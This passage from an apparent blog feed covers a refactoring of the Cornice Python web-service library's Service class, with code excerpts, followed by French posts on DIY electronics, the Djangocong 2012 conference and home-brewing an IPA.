&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;A shortcut of the api decorator&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request_method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;GET&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I encourage you to go read &lt;a class="reference external" href="https://github.com/mozilla-services/cornice/blob/4e0392a2ae137b6a11690459bcafd7325e86fa9e/cornice/service.py#L44"&gt;the entire file&lt;/a&gt;.
on github so you can get a better opinion on how all of this was done.&lt;/p&gt;
&lt;p&gt;A bunch of things are wrong:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;first, we are not separating the description logic from the registration one.
This causes problems when we need to access the parameters passed to the
service, because the parameters you get are not exactly the ones you passed
but the ones that the pyramid routing system is expecting. For instance, if
you want to get the view &lt;cite&gt;get_drink&lt;/cite&gt;, you will instead get a decorator which
contains this view.&lt;/li&gt;
&lt;li&gt;second, we are using decorators as APIs we expose. Even if decorators are
good as shortcuts, they shouldn't be the default way to deal with an API. A
good example of this is &lt;a class="reference external" href="https://github.com/mozilla-services/cornice/blob/4e0392a2ae137b6a11690459bcafd7325e86fa9e/cornice/resource.py#L56"&gt;how the resource module consumes this API&lt;/a&gt;.
This is quite hard to follow.&lt;/li&gt;
&lt;li&gt;Third, in the &lt;cite&gt;api&lt;/cite&gt; method, a bunch of things are done regarding inheritance
of parameters that are passed to the service or to its decorator methods.
This leaves you with a really hard to follow path when it comes to add new
parameters to your API.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="how-do-we-improve-this"&gt;
&lt;h2&gt;How do we improve this?&lt;/h2&gt;
&lt;p&gt;Python is great because it allows you to refactor things in an easy way. What I
did isn't breaking our APIs, but make things way simpler to hack-on. One
example is that it allowed me to add features that we wanted to bring to
Cornice really quickly (a matter of minutes), without touching the API that much.&lt;/p&gt;
&lt;p&gt;Here is the gist of the new architecture:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;object&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="c1"&gt;# we define class-level variables that will be the default values for&lt;/span&gt;
&lt;span class="c1"&gt;# this service. This makes things more extensible than it was before.&lt;/span&gt;
&lt;span class="n"&gt;renderer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;simplejson&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;default_validators&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;DEFAULT_VALIDATORS&lt;/span&gt;
&lt;span class="n"&gt;default_filters&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;DEFAULT_FILTERS&lt;/span&gt;
&lt;span class="c1"&gt;# we also have some class-level parameters that are useful to know&lt;/span&gt;
&lt;span class="c1"&gt;# which parameters are supposed to be lists (and so converted as such)&lt;/span&gt;
&lt;span class="c1"&gt;# or which are mandatory.&lt;/span&gt;
&lt;span class="n"&gt;mandatory_arguments&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;renderer&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,)&lt;/span&gt;
&lt;span class="n"&gt;list_arguments&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;validators&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;filters&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="c1"&gt;# setup name, path and description as instance variables&lt;/span&gt;
&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;
&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;
&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;description&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;description&lt;/span&gt;
&lt;span class="c1"&gt;# convert the arguments passed to something we want to store&lt;/span&gt;
&lt;span class="c1"&gt;# and then store them as attributes of the instance (because they&lt;/span&gt;
&lt;span class="c1"&gt;# were passed to the constructor&lt;/span&gt;
&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arguments&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_arguments&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;span class="nb"&gt;setattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# we keep having the defined_methods tuple and the list of&lt;/span&gt;
&lt;span class="c1"&gt;# definitions that are done for this service&lt;/span&gt;
&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;defined_methods&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;definitions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_arguments&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;conf&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;Returns a dict of arguments. It does all the conversions for&lt;/span&gt;
&lt;span class="sd"&gt; you, and uses the information that were defined at the instance&lt;/span&gt;
&lt;span class="sd"&gt; level as fallbacks.&lt;/span&gt;
&lt;span class="sd"&gt; &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;add_view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;Add a view to this service.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="c1"&gt;# this is really simple and looks a lot like this&lt;/span&gt;
&lt;span class="n"&gt;method&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;definitions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;defined_methods&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;defined_methods&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;decorator&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;This is only another interface to the add_view method, exposing a&lt;/span&gt;
&lt;span class="sd"&gt; decorator interface&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;wrapper&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;view&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;wrapper&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;So, the service is now only storing the information that's passed to it and
nothing more. No more route registration logic goes here. Instead, I added this
as another feature, even in a different module. The function is named
&lt;cite&gt;register_service_views&lt;/cite&gt; and has the following signature:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;register_service_views&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To sum up, here are the changes I made:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;Service description is now separated from the route registration.&lt;/li&gt;
&lt;li&gt;&lt;cite&gt;cornice.service.Service&lt;/cite&gt; now provides a &lt;cite&gt;hook_view&lt;/cite&gt; method, which is not a
decorator. decorators are still present but they are optional (you don't
need to use them if you don't want to).&lt;/li&gt;
&lt;li&gt;Everything has been decoupled as much as possible, meaning that you really
can use the &lt;cite&gt;Service&lt;/cite&gt; class as a container of information about the services
you are describing. This is especially useful when generating documentation.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;As a result, it is now possible to use Cornice with other frameworks. It means
that you can stick with the service description but plug any other framework on
top of it. &lt;cite&gt;cornice.services.Service&lt;/cite&gt; is now only a description tool. To
register routes, one would need to read the information contained into this
service and inject the right parameters into their preferred routing system.&lt;/p&gt;
&lt;p&gt;However, no integration with other frameworks is done at the moment even if the
design allows it.&lt;/p&gt;
&lt;p&gt;The same way, the sphinx description layer is now only a consumer of this
service description tool: it looks at what's described and build-up the
documentation from it.&lt;/p&gt;
&lt;p&gt;The resulting branch is not merged yet. Still, you can &lt;a class="reference external" href="https://github.com/mozilla-services/cornice/tree/refactor-the-world"&gt;have a look at it&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Any suggestions are of course welcome :-)&lt;/p&gt;
&lt;/div&gt;
</content><category term="python"></category><category term="Cornice"></category><category term="refactoring"></category></entry><entry><title>Bidouille</title><link href="https://blog.notmyidea.org/bidouille-fr.html" rel="alternate"></link><published>2012-04-30T00:00:00+02:00</published><updated>2012-04-30T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2012-04-30:/bidouille-fr.html</id><summary type="html">&lt;p&gt;Bidouille bidouille bidouille.&lt;/p&gt;
&lt;p&gt;Je pense que je suis un bidouilleur logiciel: j'aime bien aller farfouiller
dans le code pour comprendre comment tel ou tel programme fonctionne (ou
trop souvent comment il ne fonctionne pas !), faire des petites modifications,
tester, modifier, re-tester, tout casser, réparer …&lt;/p&gt;
&lt;p&gt;Et cette bidouille, cette envie de …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Bidouille bidouille bidouille.&lt;/p&gt;
&lt;p&gt;Je pense que je suis un bidouilleur logiciel: j'aime bien aller farfouiller
dans le code pour comprendre comment tel ou tel programme fonctionne (ou
trop souvent comment il ne fonctionne pas !), faire des petites modifications,
tester, modifier, re-tester, tout casser, réparer …&lt;/p&gt;
&lt;p&gt;Et cette bidouille, cette envie de comprendre comment les choses fonctionnent,
et depuis peu cette envie de mettre en pratique ces connaissances dépasse la
bidouille logicielle. J'ai passé une grosse partie de mon week-end à Main
d'Œuvre, où l'association &lt;a class="reference external" href="http://www.underconstruction.fr"&gt;Under Construction&lt;/a&gt; faisait se rencontrer le milieu de
l'éducation populaire et le milieu de la bidouille.&lt;/p&gt;
&lt;p&gt;Forcement, ni une ni deux, je saute dans le bateau en marche et, n'étant ni un
très grand bidouilleur ni un très grand animateur, j'en ressort enrichi de
toutes ces rencontres, de tous ces préjugés qui tombent, et de quelques
découvertes bluffantes, des idées plein la tête.&lt;/p&gt;
&lt;p&gt;J'avais entendu parler des &amp;quot;&lt;a class="reference external" href="http://www.reprap.org"&gt;rep-raps&lt;/a&gt;&amp;quot;, des
imprimantes en 3 dimensions capables de produire des pièces en plastique
mais je n'avais jamais eu l'occasion de voir le bousin en vrai. Et
c'est impressionnant. Vraiment. (&amp;quot;Bienvenue dans le 21ème siècle !&amp;quot;)&lt;/p&gt;
&lt;p&gt;Ça laisse énormément à penser autour des questions d'émancipation
technologique, et de non dépendance envers les constructeurs, dans le milieu de
l'électro-ménager, par exemple. &amp;quot;Ah tiens, cette pièce est cassée, je vais
aller utiliser la rep-rap du coin pour me la fabriquer&amp;quot;. Et hop, on mets fin à
tout un cycle d'obsolescence programmée…&lt;/p&gt;
&lt;p&gt;Mais au delà du défi technique et technologique, j'ai pu refaire un petit peu
d'électronique, et découvrir que j'y prends vraiment gout rapidement. Il y a
bien évidemment un coté très ludique (la led s'allume quand on la branche),
mais il y a surtout cette notion de DIY (Do It Yourself) sous jacente: une fois
que je sais comment ça fonctionne, je peux vraiment faire des choses utiles de
mes 10 doigts, réparer des petits objets, bidouiller ceux existants etc.&lt;/p&gt;
&lt;p&gt;De la récupération de composants on essaye de voir ce qu'on peut faire, on a
terminé par faire un &amp;quot;vibro-bot&amp;quot;, un vibreur de téléphone portable monté sur
une tête de brosse à dents, faisant donc avancer cette dernière.&lt;/p&gt;
&lt;p&gt;C'est pour s'amuser, c'est pas sérieux ! Pour autant, les concepts de
l'électricité sont appris et je me retrouve avec cette envie de comprendre un
peu plus ce monde de l'électronique qui, je m'en rends compte, m'échappe encore
complètement. De l'éducation à la bidouille !&lt;/p&gt;
&lt;p&gt;Allez, demain c'est fer à souder, piles, leds, interrupteurs, potars et c'est
parti !&lt;/p&gt;
</content><category term="diy"></category><category term="électronique"></category><category term="hack"></category><category term="bidouille"></category></entry><entry><title>Djangocong 2012</title><link href="https://blog.notmyidea.org/djangocong-2012-fr.html" rel="alternate"></link><published>2012-04-16T00:00:00+02:00</published><updated>2012-04-16T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2012-04-16:/djangocong-2012-fr.html</id><summary type="html">&lt;p&gt;Ce week-end, c'était &lt;a class="reference external" href="http://rencontres.django-fr.org"&gt;djangocong&lt;/a&gt;, une conférence autour de &lt;a class="reference external" href="http://djangoproject.org"&gt;django&lt;/a&gt;,
de &lt;a class="reference external" href="http://python.org"&gt;python&lt;/a&gt; et du web, qui avait lieu dans le sud, à Carnon-plage, à quelques
kilomètres de Montpellier la belle.&lt;/p&gt;
&lt;p&gt;J'ai vraiment apprécié les trois jours passés avec cette bande de geeks. Je
m'attendais à des &lt;em&gt;nerds&lt;/em&gt;, j'y ai trouvé une …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ce week-end, c'était &lt;a class="reference external" href="http://rencontres.django-fr.org"&gt;djangocong&lt;/a&gt;, une conférence autour de &lt;a class="reference external" href="http://djangoproject.org"&gt;django&lt;/a&gt;,
de &lt;a class="reference external" href="http://python.org"&gt;python&lt;/a&gt; et du web, qui avait lieu dans le sud, à Carnon-plage, à quelques
kilomètres de Montpellier la belle.&lt;/p&gt;
&lt;p&gt;J'ai vraiment apprécié les trois jours passés avec cette bande de geeks. Je
m'attendais à des &lt;em&gt;nerds&lt;/em&gt;, j'y ai trouvé une qualité d'écoute, des personnes qui
partagent des valeurs qui leur sont chères, mais qui ne limitent pas
leurs discussions à du technique. Eeeh ouais, encore un préjugé qui tombe,
tiens :)&lt;/p&gt;
&lt;p&gt;En tant que &lt;em&gt;hackers&lt;/em&gt;, on a le moyen de créer des outils qui sont utiles à tous,
et qui peuvent être utiles pour favoriser la collaboration et la mise en commun
des données. J'ai eu l'occasion de discuter de projets tournant autour de
l'entraide, que ça soit pour mettre en lien des associations d'économie sociale
et solidaire (ESS) ou simplement pour que les populations &lt;em&gt;non tech&lt;/em&gt; &lt;a class="reference external" href="http://blog.notmyidea.org/quels-usages-pour-linformatique-fr.html"&gt;puissent
utiliser toute la puissance de l'outil qu'est le web&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Au niveau du format des conférences, je ne savais pas trop à quoi m'attendre,
au vu des échos de l'an dernier, mais c'était adapté: des mini-confs de 12mn le
samedi matin + début d'aprem, en mode no-wifi pour récupérer une qualité
d'écoute. Et contrairement à mes attentes, ce n'est pas trop court. Pas mal de
retours d'expérience pour le coup, et une matinée pas vraiment techniques, mais
ça pose le décor et permet de savoir qui fait quoi.&lt;/p&gt;
&lt;p&gt;Parmi l'ensemble des conférences du matin, je retiens principalement
celle de Mathieu Leplatre, &amp;quot;des cartes d'un autre monde&amp;quot;, qui m'a réellement
bluffée quand à la facilité de créer des cartes avec &lt;a class="reference external" href="http://mapbox.com/tilemill/"&gt;TileMill&lt;/a&gt;, et qui me pousse à reconsidérer le fait que &amp;quot;la
carto, c'est compliqué&amp;quot;. &lt;a class="reference external" href="https://www.youtube.com/watch?v=7NPQo54NbJ8"&gt;La vidéo est (déja !) disponible en ligne&lt;/a&gt;, je vous invite à la regarder
(c'est une 15aine de minutes) pour vous faire un avis ;)&lt;/p&gt;
&lt;p&gt;Une fois les conf passées, ça reste très intéressant, voire plus: il reste un
jour et demi pour discuter avec les autres présents. On a pu se retrouver avec
Mathieu pour discuter de &amp;quot;notre&amp;quot; projet &lt;a class="reference external" href="http://blog.notmyidea.org/carto-forms-fr.html"&gt;&amp;quot;carto
forms&amp;quot;&lt;/a&gt;, qui à finalement pu se
redéfinir un peu plus et donner naissance à un &lt;a class="reference external" href="https://github.com/spiral-project/daybed/blob/master/README.rst"&gt;README&lt;/a&gt;. On en
à profité pour lui choisir un nouveau nom: &amp;quot;daybed&amp;quot;, en référence à couchdb.&lt;/p&gt;
&lt;p&gt;Ça devrait se transformer en code d'ici peu. La curiosité aidant, on a pu
discuter du projet avec d'autres personnes et affiner les attentes de chacun
pour finalement arriver à quelque chose d'assez sympathique.&lt;/p&gt;
&lt;p&gt;J'ai aussi pu me rendre compte que pas mal de monde utilise &lt;a class="reference external" href="http://pelican.notmyidea.org"&gt;pelican&lt;/a&gt;, le bout de code que j'ai codé pour générer ce
blog, et avoir des retours utiles ! Probablement des réflexions à venir
sur comment éviter qu'un projet open-source ne devienne chronophage, et sur
comment réussir à garder une qualité dans le code source tout en ne froissant
pas les contributeurs.&lt;/p&gt;
&lt;p&gt;Bien évidemment, c'était aussi l'occaz de rencontrer des gens qu'on ne voir que
sur les inter-nets, et de discuter un brin de tout ce qui fait que notre monde
est chouette et moins chouette.&lt;/p&gt;
&lt;p&gt;Entres autres faits notoires, JMad a perdu au baby-foot face à Exirel, même
en m'ayant à ses cotés pour le déconcentrer (et je suis un joueur d'un autre
monde - en d'autres termes, je suis nul), David`bgk ne s'est pas levé pour
aller courir le dimanche matin (il avait dit 5 heures!), Les suisses ont essayé
de me convertir à coup d'abricotine, j'ai perdu au skulls-n-roses en quelques
tours et on a allumé un feu chez Stéphane le dimanche soir (oui oui, à
montpellier, mi avril, je vous le dis qu'ils mentent avec leur soit disant
soleil).&lt;/p&gt;
&lt;p&gt;Et c'est sans parler de &lt;a class="reference external" href="http://jehaisleprintemps.net/blog/fr/2012/04/15/j-ecris-ton-nom/"&gt;la brasucade&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Bref, vivement la prochaine (et allez, cette fois ci je ferais une présentation
!)&lt;/p&gt;
</content></entry><entry><title>Bière maison !</title><link href="https://blog.notmyidea.org/biere-maison-fr.html" rel="alternate"></link><published>2012-04-10T00:00:00+02:00</published><updated>2012-04-10T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2012-04-10:/biere-maison-fr.html</id><summary type="html">&lt;p&gt;Et voilà, c'est notre troisième brassin. On a commencé à faire notre propre
bière (avec un ami, Fred) il y a quasiment un an maintenant, et après quelques
dératés, même s'il nous reste encore bien du chemin à parcourir pour avoir
quelque chose qui nous convienne réellement… c'est pas si …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Et voilà, c'est notre troisième brassin. On a commencé à faire notre propre
bière (avec un ami, Fred) il y a quasiment un an maintenant, et après quelques
dératés, même s'il nous reste encore bien du chemin à parcourir pour avoir
quelque chose qui nous convienne réellement… c'est pas si pire comme on dit !&lt;/p&gt;
&lt;p&gt;Cette fois-çi, on s'est penché sur la confection d'une IPA (Indian Pale Ale, une
bière un peu plus amère que celle qu'on à l'habitude de trouver en France).&lt;/p&gt;
&lt;p&gt;Elle est plus amère car elle comporte plus de houblon que les autres, et
(dans notre cas en tout cas) parce qu'on fait la première fermentation en
présence de houblon.&lt;/p&gt;
&lt;div class="section" id="comment-qu-on-fait-de-la-biere"&gt;
&lt;h2&gt;Comment qu'on fait de la bière ?&lt;/h2&gt;
&lt;p&gt;Machine arrière; n'allons pas trop vite: comment est-ce qu'on fait de la bière,
d'abord ?&lt;/p&gt;
&lt;p&gt;En fin de compte, les quelques étapes nécessaire à la confection de la bière ne
sont pas bien sorcières; concassage de l'orge maltée, cuisson (libération de
l'amidon dans l'eau), infusion du houblon, refroidissement, première
fermentation, embouteillage et seconde fermentation.&lt;/p&gt;
&lt;p&gt;L'idée principale est transformer l'amidon d'orge maltée en sucre, pour le
&amp;quot;donner à manger&amp;quot; à des levures. Vous ajoutez un peu de houblon au milieu pour
donner un petit goût amer et le tour est joué. Enfin presque.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="etape-par-etape"&gt;
&lt;h2&gt;Étape par étape&lt;/h2&gt;
&lt;p&gt;Première étape: &lt;strong&gt;le concassage&lt;/strong&gt;. On avait 6kg d'orge maltée à concasser (plus
exactement 6kg de malt pâle &lt;em&gt;7EDC&lt;/em&gt; et 500g de malt cara &lt;em&gt;50EDC&lt;/em&gt;).&lt;/p&gt;
&lt;img alt="Image de concassage." src="images/concassage.jpg" style="width: 400px;" /&gt;
&lt;p&gt;Attention, pas trop fin dis donc ! On ne veut pas de la poudre, on veut
simplement permettre à l'amidon de se dissoudre dans l'eau. Si on concasse le
malt trop fin, on se retrouve avec un dépôt dégeulasse au fond de toutes les
bouteilles (c'est l'expérience qui parle, notre première bière avait plus goût
de céréale que de bière…)&lt;/p&gt;
&lt;p&gt;Contrairement aux fois précédentes où nous avions utilisé la technique du
marteau et du torchon (oui, comme vous pouvez l'imaginer, c'est assez long et
fastidieux), On a utilisé… un moulin à malt ! Qui nous à permis de concasser les
6kg en 30 minutes (heureusement qu'on était trois pour se relayer sur le
moulin, parce que nos petits muscles fatiguaient assez vite; vous pouvez
envisager de faire ça tout seul si vous êtes un tennisman).&lt;/p&gt;
&lt;img alt="C'est dur !" src="images/concasse.jpg" style="width: 700px;" /&gt;
&lt;p&gt;La seconde étape, &lt;strong&gt;l'empatage&lt;/strong&gt;. Il s'agit de faire chauffer notre orge maltée
à différentes températures. Les fois précédentes, on avait utilisé plusieurs
paliers de température, mais il semble que ça ne soit pas si nécessaire que ça,
selon les informations de l'ami Fred. On à donc tenté de faire chauffer notre
malt directement à 50°C. Une petite erreur sur la route, on à eu peur de la
contamination bactérienne et on à décidé de faire bouillir nos 26L d'eau pour
être sur que les bactéries s'enfuient en courant. Je dis erreur parce que ça
nous à pris pas loin de 3h30, inertie quand tu nous tiens!&lt;/p&gt;
&lt;p&gt;On se rends compte de la taille de la marmite un peu là:&lt;/p&gt;
&lt;img alt="Une grosse marmite" src="images/marmite.jpg" style="width: 400px;" /&gt;
&lt;p&gt;Une fois l'eau à température (54°C), il faut ajouter le malt et le laisser
durant 30mn à cette température, puis augmenter jusqu'à 65°C durant 1h.&lt;/p&gt;
&lt;p&gt;La troisième étape, c'est &lt;strong&gt;le rinçage&lt;/strong&gt;, l'idée est de récupérer l'amidon qui
s'est dissout dans l'eau et de mettre de côté l'orge maltée (la partie solide).
Pour ça, il faut faire chauffer de l'eau de rinçage. On a utilisé 10L d'eau de
rinçage qu'on a fait chauffer à 78°C, en comptant sur le fait qu'elle perdra de sa
température (20°C à peu près) en étant utilisée. On a filtré deux fois pour
être sûr de ne rien perdre.&lt;/p&gt;
